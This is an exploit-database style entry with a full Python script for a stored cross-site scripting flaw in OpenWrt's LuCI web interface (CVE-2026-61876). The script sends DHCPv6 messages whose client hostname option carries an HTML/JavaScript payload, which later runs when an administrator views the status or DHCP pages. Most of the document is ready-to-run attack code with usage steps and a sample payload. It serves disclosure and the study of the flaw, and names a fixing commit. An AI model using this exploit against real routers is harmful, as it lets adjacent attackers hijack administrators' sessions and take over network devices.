LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting

# Exploit Title:       LuCI DHCPv6 -  Lease Hostname Stored Cross-Site Scripting
# CVE:                  CVE-2026-61876
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://openwrt.org/
# Software Link:        https://github.com/openwrt/luci
# Affected:             OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on:            OpenWrt 25.12.0-rc1 x86_64
# Category:             Remote
# Platform:             Linux
# Exploit Type:         Stored XSS
# CVSS:                 8.8
# Description:          An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in:             LuCI commit 55379d0 (and backports)
# Usage:
#   python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
#   python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
#   --ifindex         Interface index of the LAN interface
#   --hostname        Malicious hostname/FQDN payload
#   --server          DHCPv6 server (default: ff02::1:2)
#   --release         Release the lease after injection
#
# Notes:
#   • Requires adjacent network access (LAN)
#   • Administrator must view Status > Overview or Network > DHCP and DNS
#   • Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
#   Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
#   Run the exploit and then open LuCI as admin to trigger the payload.

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╝
""")

import argparse
import os
import random
import socket
import struct
import time

OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39

def opt(code, data):
    return struct.pack("!HH", code, len(data)) + data

def options(buf):
    i = 0
    while i + 4 <= len(buf):
        code, length = struct.unpack("!HH", buf[i:i + 4])
        i += 4
        yield code, buf[i:i + length]
        i += length

def first_opt(buf, wanted):
    for code, data in options(buf):
        if code == wanted:
            return data
    return None

def encode_domain(name):
    labels = name.rstrip(".").split(".") if name else []
    out = bytearray()
    for label in labels:
        raw = label.encode("utf-8")
        if len(raw) > 63:
            raise ValueError("domain label too long for DHCPv6 FQDN option")
        out.append(len(raw))
        out += raw
    out.append(0)
    return bytes(out)

def make_duid(mac):
    dhcpv6_epoch = 946684800
    now = int(time.time() - dhcpv6_epoch)
    return struct.pack("!HHI", 1, 1, now) + mac

def make_msg(msg_type, txid, opts):
    return bytes([msg_type]) + txid + b"".join(opts)

def parse_msg(data):
    if len(data) < 4:
        return None
    return data[0], data[1:4], data[4:]

def open_sock(ifindex, port, bind_addr):
    s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    s.settimeout(4)
    try:
        s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
    except OSError:
        pass
    try:
        s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
        return s, port
    except OSError:
        if port != 0:
            s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
            return s, s.getsockname()[1]
        raise

def send_recv(sock, dst, msg, txid, expect_types):
    sock.sendto(msg, dst)
    deadline = time.time() + 5
    while time.time() < deadline:
        try:
            data, addr = sock.recvfrom(4096)
        except socket.timeout:
            break
        parsed = parse_msg(data)
        if not parsed:
            continue
        msg_type, rxid, opts = parsed
        if rxid == txid and msg_type in expect_types:
            return msg_type, opts, addr, data
    return None

def status_text(ia_na):
    if not ia_na:
        return ""
    for code, data in options(ia_na[12:]):
        if code == OPT_STATUS and len(data) >= 2:
            status = struct.unpack("!H", data[:2])[0]
            text = data[2:].decode("utf-8", "replace")
            return f"status={status} {text}".strip()
    return ""

def main():
    banner()
    ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
    ap.add_argument("--ifindex", type=int, required=True)
    ap.add_argument("--hostname", required=True)
    ap.add_argument("--server", default="ff02::1:2")
    ap.add_argument("--bind-addr", default="::")
    ap.add_argument("--port", type=int, default=546)
    ap.add_argument("--release", action="store_true")
    ap.add_argument("--duid-hex")
    ap.add_argument("--iaid-hex")
    args = ap.parse_args()

    if args.duid_hex:
        duid = bytes.fromhex(args.duid_hex)
        mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
    else:
        mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
        duid = make_duid(mac)

    iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
    fqdn = bytes([0]) + encode_domain(args.hostname)
    oro = struct.pack("!HHH", 23, 24, OPT_FQDN)

    sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
    dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)

    txid = os.urandom(3)
    solicit = make_msg(1, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    adv = send_recv(sock, dst, solicit, txid, {2})
    if not adv:
        print(f"NO_ADVERTISE source_port={sport}")
        return 2

    _, adv_opts, addr, _ = adv
    serverid = first_opt(adv_opts, OPT_SERVERID)
    ia_na = first_opt(adv_opts, OPT_IA_NA)
    print(f"ADVERTISE from={addr[0]} source_port={sport}")

    if not serverid or not ia_na:
        return 3

    txid = os.urandom(3)
    request = make_msg(3, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_SERVERID, serverid),
        opt(OPT_IA_NA, ia_na),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    rep = send_recv(sock, dst, request, txid, {7})
    if not rep:
        print("NO_REPLY")
        return 4

    _, reply_opts, addr, _ = rep
    print(f"REPLY from={addr[0]}")

    if args.release:
        txid = os.urandom(3)
        release = make_msg(8, txid, [
            opt(OPT_CLIENTID, duid),
            opt(OPT_SERVERID, serverid),
            opt(OPT_IA_NA, ia_na),
        ])
        rel = send_recv(sock, dst, release, txid, {7})
        print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")

    print(f"DUID={duid.hex()} IAID={iaid.hex()}")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())